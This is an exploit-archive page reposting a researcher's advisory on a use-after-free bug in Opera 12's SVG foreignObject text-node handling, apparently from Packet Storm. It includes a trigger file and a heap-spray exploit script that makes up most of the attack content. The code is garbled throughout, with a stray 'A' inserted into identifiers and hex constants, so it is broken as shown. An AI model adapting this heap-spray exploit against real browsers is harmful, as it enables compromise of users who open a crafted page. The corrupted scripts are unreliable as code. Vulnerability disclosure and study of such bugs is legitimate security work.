exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Opera foreignObject textNode::removeChild Use-After-Free

Opera foreignObject textNode::removeChild Use-After-Free
Posted Dec 2, 2016
Authored by SkyLined

Opera suffers from a foreignObject textNode::removeChild use-after-free vulnerability.

tags | exploit
SHA-256 | 9cc42e69eae1ca521e8968289d7d5db932201ee29bd95e6b3b41610ffbe6890c

Opera foreignObject textNode::removeChild Use-After-Free

Change Mirror Download
Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twenty-second entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.

Due to the recent Firefox 0-day, I've selected a very old and not so
interesting bug for today, so you can get back to looking at the former
as soon as possible.

The below information is available in more detail on my blog at
http://blog.skylined.nl/20161130001.html. There you can find a repro
that triggered this issue and an exploit that may or may not work in
addition to the information below.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Opera foreignObject textNode::removeChild use-after-free
========================================================
(The fix and CVE number for this issue are unknown)

Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Opera. This vulnerability was found a very long time ago, back when I
did not keep organized records of my analysis, so unfortunately, I
cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
------------------------------------------
* Opera 12

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.

Description
-----------
As I mentioned, I did not keep detailed records of my analysis, so there
is not much I can say about this vulnerability, other than that I did
attempt to write an exploit. However, I do not know how successful this
exploit was. I did not include it in my report to iDefense, so I am
assuming it was not successful.


Time-line
---------
* Before August 2012: This vulnerability was found through fuzzing.
* August 2012: This vulnerability was submitted to iDefense.
* September 2012: This vulnerability was acquired by iDefens
(see note).
* November 2016: Details of this vulnerability are released.

(I asked ZDI and iDefense if they were interested in Opera
vulnerabilities before submitting them. ZDI responded that they was not,
but iDefense _accidentally_ said they were. After submitting my first
vulnerability, iDefense explained that there had been a mistake on their
side and that they were not in fact interested. However, they kindly
offered to buy this vulnerability for a token reward, which I accepted).

Cheers,

SkyLined



Repro.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
oAForeignAObject.removeAChild(oAForeignAObject.firstAChild);
opera.collect();
}
setATimeout(function(){
location.reload();
}, 100);
}
]]>
</script>
<foreignAObject width="1px" height="1px">text</foreignAObject>
</svg>


Description

As I mentioned, I did not keep detailed records of my analysis, so there is not much I can say about this vulnerability, other than that I did attempt to write an exploit. However, I do not know how successful this exploit was. I did not include it in my report to iADefense, so I am assuming it was not very successful.



Sploit.svg

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
var iAHeapASprayAGranularity = 0x00100000,
iAHeapASprayAStartAAddress = 0x05000000,
iAHeapASprayAAddress = 0x12345678,
iAHeapASprayAHeaderASize = 0x44,
iAHeapABlockASize = 0x100,
iATextANodeASize = 0x40;

var oAHeapABuffer = new Buffer(iAHeapABlockASize, 0x41);
oAHeapABuffer.setADword(0x14, iAHeapASprayAAddress);
oAHeapABuffer.setADword(0x78, 0xADEADBEEF - 0x188);
var sAHeapABlock = oAHeapABuffer.toAString();
if (sAHeapABlock.length != 0x80) throw '"' + sAHeapABlock + '".length = ' + sAHeapABlock.length.toAString(16);
console.log('sAHeapABlock = "' + sAHeapABlock + '"');
console.log('sAHeapABlock.length = ' + sAHeapABlock.length.toAString(16));

var sAHeapASprayABlock = sAHeapABlock.substr(iAHeapASprayAHeaderASize) + sAHeapABlock.substr(0, iAHeapASprayAHeaderASize);
var iAHeapASprayABlockACopies = iAHeapASprayAGranularity / iAHeapABlockASize;
var asAHeap = [];
console.log('sAHeapABlock * ' + iAHeapASprayABlockACopies.toAString(16) + ' = ' + iAHeapASprayAGranularity.toAString(16));
do {
asAHeap.push(new Array(iAHeapASprayABlockACopies).join(sAHeapASprayABlock));
} while (iAHeapASprayAStartAAddress + asAHeap.length * iAHeapASprayAGranularity < iAHeapASprayAAddress);

window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");

var aoAHeapAFengAShui = [];
// Fill all gaps
for(var iACount = 1; iACount < 0x400; iACount++) {
for (var iASize = 0x10; iASize < 0x200; iASize += 0x10) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock.substr(0, iASize / 2 - 1)));
}
opera.collect();
}
// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
var iALength = oAForeignAObject.removeAChild(oAForeignAObject.firstAChild).nodeAValue.length;
for(var iACount = 1; iACount < 0x200; iACount++) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock));
}
opera.collect();
}
alert('FAIL!');
setATimeout(function(){
location.reload();
}, 100);
}

function Buffer(iASize, iADefaultAValue) {
this.data = {};
for (var i = 0; i < iASize; i++) {
this.data[i] = iADefaultAValue;
}
this.setADword = function Buffer_Adword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAWord = function Buffer_Aword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAByte = function Buffer_Abyte(iAIndex, iAValue) {
this.data[iAIndex] = iAValue & 0xAFF;
}
this.toAString = function Buffer_AtoAString() {
var sAString = "";
for (var i = 0; i < iASize; i+=2) {
var iACharACode = this.data[i] + (this.data[i+1] << 8);
sAString += String.fromACharACode(iACharACode);
}
return sAString;
}
}
]]>
</script>
<foreignAObject width="1px" height="1px">0_________AA____1111111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA__</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA</foreignAObject>
</svg>




Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close